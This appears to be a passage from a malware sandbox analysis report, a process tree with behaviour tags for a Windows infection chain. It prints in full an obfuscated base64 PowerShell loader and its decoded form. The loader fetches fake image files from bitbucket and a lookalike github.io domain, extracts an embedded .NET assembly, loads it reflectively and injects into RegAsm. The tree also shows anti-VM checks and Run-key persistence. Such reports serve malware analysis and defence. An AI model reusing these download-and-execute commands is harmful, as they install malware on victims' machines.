        powershell "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@k@EI@eQB0@GU@cw@g@D0@I@@n@Gg@d@B0@Cc@Ow@N@@o@J@BC@Hk@d@Bl@HM@Mg@g@D0@I@@n@H@@cw@6@C8@Lw@n@Ds@DQ@K@CQ@b@Bm@HM@Z@Bm@HM@Z@Bn@C@@PQ@g@C@@J@BC@Hk@d@Bl@HM@I@@r@CQ@QgB5@HQ@ZQBz@DI@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bs@Gk@bgBr@HM@I@@9@C@@Q@@o@Cg@J@Bs@GY@cwBk@GY@cwBk@Gc@I@@r@C@@JwBi@Gk@d@Bi@HU@YwBr@GU@d@@u@G8@cgBn@C8@ZwBm@Gg@Z@Bq@Gs@Z@Bk@C8@agBo@Gg@a@Bo@Gg@a@Bo@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@KQ@s@C@@K@@k@Gw@ZgBz@GQ@ZgBz@GQ@Zw@g@Cs@I@@n@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Gg@I@@9@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@t@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBT@HU@YgBz@HQ@cgBp@G4@Zw@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@s@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@g@C@@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@ZQBu@GQ@RgBs@GE@Zw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@a@Bh@GE@a@Bn@GQ@Yw@v@HM@ZQBn@GE@bQBp@C8@bgBp@C4@bwBj@C4@aQBh@GQ@bgB1@Hk@a@Br@Gk@b@Bh@HY@aQBo@HM@Lw@v@Do@cw@n@Cw@I@@n@D@@Jw@s@C@@JwBT@HQ@YQBy@HQ@dQBw@E4@YQBt@GU@Jw@s@C@@JwBS@GU@ZwBB@HM@bQ@n@Cw@I@@n@D@@Jw@p@Ck@fQB9@@==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($dosigo.replace('@','A')));powershell.exe $OWjuxD"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6596
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/gfhdjkdd/jhhhhhhh/downloads/test2.jpg?137113'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $endIndex = $imageText.IndexOf($endFlag); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.haahgdc/segami/ni.oc.iadnuyhkilavihs//:s', '0', 'StartupName', 'RegAsm', '0'))}}"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6808
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:8744
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2.js"
        5⤵
        
        PID:9020
- - C:\Users\Admin\AppData\Local\Temp\10299600101\eBOjg2u.exe
    "C:\Users\Admin\AppData\Local\Temp\10299600101\eBOjg2u.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:7216
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c 1.bat && 2.js
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4664
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic cpu get name
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:7412
    - - C:\Windows\system32\find.exe
        
        find "QEMU"
        5⤵
        
        PID:7428
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@k@EI@eQB0@GU@cw@g@D0@I@@n@Gg@d@B0@Cc@Ow@N@@o@J@BC@Hk@d@Bl@HM@Mg@g@D0@I@@n@H@@cw@6@C8@Lw@n@Ds@DQ@K@CQ@b@Bm@HM@Z@Bm@HM@Z@Bn@C@@PQ@g@C@@J@BC@Hk@d@Bl@HM@I@@r@CQ@QgB5@HQ@ZQBz@DI@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bs@Gk@bgBr@HM@I@@9@C@@Q@@o@Cg@J@Bs@GY@cwBk@GY@cwBk@Gc@I@@r@C@@JwBi@Gk@d@Bi@HU@YwBr@GU@d@@u@G8@cgBn@C8@ZwBm@Gg@Z@Bq@Gs@Z@Bk@C8@agBo@Gg@a@Bo@Gg@a@Bo@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@KQ@s@C@@K@@k@Gw@ZgBz@GQ@ZgBz@GQ@Zw@g@Cs@I@@n@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Gg@I@@9@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@t@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBT@HU@YgBz@HQ@cgBp@G4@Zw@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@s@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@g@C@@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@ZQBu@GQ@RgBs@GE@Zw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@a@Bh@GE@a@Bn@GQ@Yw@v@HM@ZQBn@GE@bQBp@C8@bgBp@C4@bwBj@C4@aQBh@GQ@bgB1@Hk@a@Br@Gk@b@Bh@HY@aQBo@HM@Lw@v@Do@cw@n@Cw@I@@n@D@@Jw@s@C@@JwBT@HQ@YQBy@HQ@dQBw@E4@YQBt@GU@Jw@s@C@@JwBS@GU@ZwBB@HM@bQ@n@Cw@I@@n@D@@Jw@p@Ck@fQB9@@==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($dosigo.replace('@','A')));powershell.exe $OWjuxD"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/gfhdjkdd/jhhhhhhh/downloads/test2.jpg?137113'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $endIndex = $imageText.IndexOf($endFlag); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.haahgdc/segami/ni.oc.iadnuyhkilavihs//:s', '0', 'StartupName', 'RegAsm', '0'))}}"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:7792
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:9836
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2.js"
        5⤵
        
        PID:10088

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:316

C:\Windows\system32\conhost.exe
